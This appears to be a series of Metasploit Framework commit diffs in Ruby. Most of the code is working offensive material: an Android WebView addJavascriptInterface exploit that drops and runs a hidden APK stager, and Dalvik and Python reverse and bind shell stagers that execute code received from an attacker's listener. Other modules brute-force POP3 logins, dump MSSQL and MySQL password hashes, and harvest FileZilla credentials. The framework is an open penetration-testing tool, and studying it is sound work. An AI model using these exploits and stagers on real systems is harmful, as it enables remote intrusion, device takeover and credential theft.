include Metasploit::Framework::Tcp::Client
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: :failed
}
disconnect if self.sock
begin
connect
select([sock],nil,nil,0.4)
# sleep(0.4)
# Check to see if we recieved an OK?
result_options[:proof] = sock.get_once
if result_options[:proof][/^\+OK.*/]
# If we received an OK we should send the USER
sock.put("USER #{credential.public}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof][/^\+OK.*/]
# If we got an OK after the username we can send the PASS
sock.put("PASS #{credential.private}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof][/^\+OK.*/]
# if the pass gives an OK, were good to go
result_options[:status] = :success
end
end
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e.message,
status: :connection_error
)
end
disconnect if self.sock
Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.max_send_size ||= 0
self.send_delay ||= 0
self.port ||= 110
end
end
end
end
end

View File

@ -61,7 +61,7 @@ module Metasploit
status: :connection_error
)
end
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e
rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e
result_options.merge!(
proof: e.message,
status: :connection_error

View File

@ -31,5 +31,36 @@ module Msf::Payload::Dalvik
[str.length].pack("N") + str
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end
def generate_cert
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
)
key = OpenSSL::PKey::RSA.new(1024)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600*24*365*3)
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
return cert, key
end
end

View File

@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'EtherPAD Duo Login Brute Force Utility',
'Name' => 'EtherPAD Duo Login Bruteforce Utility',
'Description' => %{
This module scans for EtherPAD Duo login portal, and
performs a login brute force attack to identify valid credentials.
performs a login bruteforce attack to identify valid credentials.
},
'Author' =>
[
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
print_status("#{peer} - Starting login brute force...")
print_status("#{peer} - Starting login bruteforce...")
each_user_pass do |user, pass|
do_login(user, pass)
end

View File

@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'PocketPAD Login Brute Force Utility',
'Name' => 'PocketPAD Login Bruteforce Force Utility',
'Description' => %{
This module scans for PocketPAD login portal, and
performs a login brute force attack to identify valid credentials.
performs a login bruteforce attack to identify valid credentials.
},
'Author' =>
[
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
print_status("#{peer} - Starting login brute force...")
print_status("#{peer} - Starting login bruteforce...")
each_user_pass do |user, pass|
do_login(user, pass)
end

View File

@ -55,10 +55,10 @@ class Metasploit3 < Msf::Auxiliary
case version_year
when "2000"
hashtype = "mssql.hashes"
hashtype = "mssql"
when "2005", "2008"
hashtype = "mssql05.hashes"
when "2005", "2008", "2012", "2014"
hashtype = "mssql05"
end
this_service = report_service(
@ -74,15 +74,42 @@ class Metasploit3 < Msf::Auxiliary
'Columns' => ['Username', 'Hash']
)
hash_loot=""
service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
mssql_hashes.each do |row|
next if row[0].nil? or row[1].nil?
next if row[0].empty? or row[1].empty?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_type: :nonreplayable_hash,
private_data: row[1],
username: row[0],
jtr_format: hashtype
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
login_data.merge!(service_data)
login = create_credential_login(login_data)
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
end
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt"
store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service)
end
#Grabs the user tables depending on what Version of MSSQL
@ -99,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary
when "2000"
results = mssql_query(mssql_2k_password_hashes())[:rows]
when "2005", "2008"
when "2005", "2008", "2012", "2014"
results = mssql_query(mssql_2k5_password_hashes())[:rows]
end

View File

@ -37,41 +37,41 @@ class Metasploit3 < Msf::Auxiliary
return
end
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:name => 'mysql',
:proto => 'tcp'
)
service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
port: rport,
service_name: 'mysql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
jtr_format: 'mysql,mysql-sha1',
module_fullname: self.fullname,
private_type: :nonreplayable_hash
}
#create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
credential_data.merge!(service_data)
if res.size > 0
res.each do |row|
tbl << [row[0], row[1]]
credential_data[:username] = row[0]
credential_data[:private_data] = row[1]
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
end
#Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service)
print_status("Hash Table has been saved: #{path}")
end
end

View File

@ -10,9 +10,22 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_flavor => "Android",
:arch => ARCH_ARMLE,
# Since the NDK stager is used, arch detection must be performed
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
# Most android devices are ARM
DEFAULT_ARCH = ARCH_ARMLE
# Some of the default NDK build targets are named differently than
# msf's builtin constants. This mapping allows the ndkstager file
# to be looked up from the msf constant.
NDK_FILES = {
ARCH_ARMLE => 'armeabi',
ARCH_MIPSLE => 'mips'
}
autopwn_info(
:os_flavor => 'Android',
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
@ -23,12 +36,12 @@ class Metasploit3 < Msf::Exploit::Remote
} catch(e) {}
}
|
})
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
@ -46,75 +59,185 @@ class Metasploit3 < Msf::Exploit::Remote
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'DefaultOptions' => { 'PrependFork' => true },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => "Android",
:arch => ARCH_ARMLE
:source => 'script',
:os_flavor => 'Android'
}
))
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri.end_with?('js')
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
def js
%Q|
function exec(obj) {
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
data = File.read(localfile, :mode => 'rb')
data.gsub!('PLOAD', stagename)
end
def js(arch)
stagename = Rex::Text.rand_text_alpha(5)
script = %Q|
function exec(runtime, cmdArr) {
var ch = 0;
var output = '';
var process = runtime.exec(cmdArr);
var input = process.getInputStream();
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
return output;
}
function attemptExploit(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the pid
var pid = obj.getClass()
.forName('android.os.Process')
.getMethod('myPid', null)
.invoke(null, null);
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
var runtime = obj.getClass()
.forName('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
// LibraryData is loaded via ajax later, because we have to access javascript in
// order to detect what arch we are running.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
path += '/#{Rex::Text.rand_text_alpha(8)}';
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
// build the binary, chmod it, and execute it
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
m.invoke(null, null).exec([path]);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library (this fails in x86, figure out why)
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
return true;
}
for (i in top) { if (exec(top[i]) === true) break; }
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
# remove comments and empty lines
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
end
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
def html
"<!doctype html><html><body><script>#{js}</script></body></html>"
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
end
def html(arch)
"<!doctype html><html><body><script>#{js(arch)}</script></body></html>"
end
end

View File

@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in ElasticSearch,
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
REST API, which requires no authentication or authorization, where the search
function allows dynamic scripts execution, and can be used for remote attackers
REST API, which does not require authentication, where the search
function allows dynamic scripts execution. It can be used for remote attackers
to execute arbitrary Java code. This module has been tested successfully on
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
},
@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - Trying to execute arbitrary Java..")
print_status("#{peer} - Trying to execute arbitrary Java...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end
print_status("#{peer} - Asking remote OS...")
print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - OS #{result} found")
# TODO: It'd be nice to report_host() with this info.
print_good("#{peer} - Remote OS is '#{result}'")
end
jar_file = ""
if result =~ /win/i
print_status("#{peer} - Asking TEMP path")
print_status("#{peer} - Discovering TEMP path")
res = execute(java_tmp_dir)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path found on #{result}")
print_good("#{peer} - TEMP path identified: '#{result}'")
end
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
else

View File

@ -107,20 +107,48 @@ class Metasploit3 < Msf::Exploit::Remote
end
if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'smb',
:user => datastore['SMBUser'].downcase,
:pass => datastore['SMBPass'],
:active => true
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
report_hash.merge!({:type => 'smb_hash'})
else
report_hash.merge!({:type => 'password'})
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
report_auth_info(report_hash)
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"

View File

@ -0,0 +1,58 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Dalvik
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
jar = Rex::Zip::Jar.new
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
jar.build_manifest
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar
end
end

View File

@ -0,0 +1,57 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Dalvik
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
jar = Rex::Zip::Jar.new
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
jar.build_manifest
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar
end
end

View File

@ -24,10 +24,11 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
))
end
def string_sub(data, placeholder, input)
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
@ -35,46 +36,20 @@ module Metasploit3
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "res", "drawable-mdpi", "icon.png" ],
[ "res", "layout", "main.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk"))
jar.build_manifest
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
)
key = OpenSSL::PKey::RSA.new(1024)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600*24*365*3)
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar

View File

@ -15,36 +15,38 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Bind TCP Stager',
'Description' => 'Python connect stager',
'Description' => 'Listen for a connection',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::BindTcp,
'Stager' => {'Payload' => ""}
))
))
end
#
# Constructs the payload
#
def generate
cmd = ''
# Set up the socket
cmd += "import socket,struct\n"
cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "s.listen(1)\n"
cmd += "c,a=s.accept()\n"
cmd += "l=struct.unpack('>I',c.recv(4))[0]\n"
cmd += "d=c.recv(4096)\n"
cmd += "while len(d)!=l:\n"
cmd += "\td+=c.recv(4096)\n"
cmd += "exec(d,{'s':c})\n"
cmd = "import socket,struct\n"
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd << "s.listen(1)\n"
cmd << "c,a=s.accept()\n"
cmd << "l=struct.unpack('>I',c.recv(4))[0]\n"
cmd << "d=c.recv(4096)\n"
cmd << "while len(d)!=l:\n"
cmd << "\td+=c.recv(4096)\n"
cmd << "exec(d,{'s':c})\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
return cmd
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
def handle_intermediate_stage(conn, payload)

View File

@ -15,34 +15,36 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse TCP Stager',
'Description' => 'Reverse Python connect back stager',
'Description' => 'Connect back to the attacker',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
))
))
end
#
# Constructs the payload
#
def generate
cmd = ''
# Set up the socket
cmd += "import socket,struct\n"
cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd += "d=s.recv(4096)\n"
cmd += "while len(d)!=l:\n"
cmd += "\td+=s.recv(4096)\n"
cmd += "exec(d,{'s':s})\n"
cmd = "import socket,struct\n"
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd << "d=s.recv(4096)\n"
cmd << "while len(d)!=l:\n"
cmd << "\td+=s.recv(4096)\n"
cmd << "exec(d,{'s':s})\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
return cmd
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
def handle_intermediate_stage(conn, payload)

View File

@ -8,19 +8,25 @@ require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_python'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Python Meterpreter',
'Description' => 'Run a meterpreter server in Python',
'Author' => ['Spencer McIntyre'],
'Description' => %q{
Run a meterpreter server in Python. Supported Python versions
are 2.5 - 2.7 and 3.1 - 3.4.
},
'Author' => 'Spencer McIntyre',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Python_Python))
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
register_advanced_options([
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
], self.class)
end
def generate_stage
@ -29,6 +35,11 @@ module Metasploit3
met = File.open(file, "rb") {|f|
f.read(f.stat.size)
}
if datastore['DEBUGGING']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end
met
end
end

View File

@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post
return
end
drive = session.sys.config.getenv('SystemDrive')
case session.platform
when /win64/i
@progs = drive + '\\Program Files (x86)\\'
when /win32/i
@progs = drive + '\\Program Files\\'
end
@progs = "#{session.sys.config.getenv('ProgramFiles')}\\"
filezilla = check_filezilla
if filezilla != nil
@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post
source_id = nil
end
# report the goods!
report_auth_info(
:host => session.sock.peerhost,
:port => config['ftp_port'],
:sname => 'ftp',
:proto => 'tcp',
:user => cred['user'],
:pass => cred['password'],
:ptype => "MD5 hash",
:source_id => source_id,
:source_type => "exploit",
:target_host => config['ftp_bindip'],
:target_port => config['ftp_port']
)
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['ftp_port'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
jtr_format: 'raw-md5',
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :nonreplayable_hash,
private_data: cred['password'],
username: cred['user']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
perms.each do |perm|
@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post
#the module will crash with an error.
vprint_status("(No admin information found.)")
else
report_auth_info(
:host => session.sock.peerhost,
:port => config['admin_port'],
:sname => 'filezilla-admin',
:proto => 'tcp',
:user => 'admin',
:pass => config['admin_pass'],
:type => "password",
:source_id => source_id,
:source_type => "exploit",
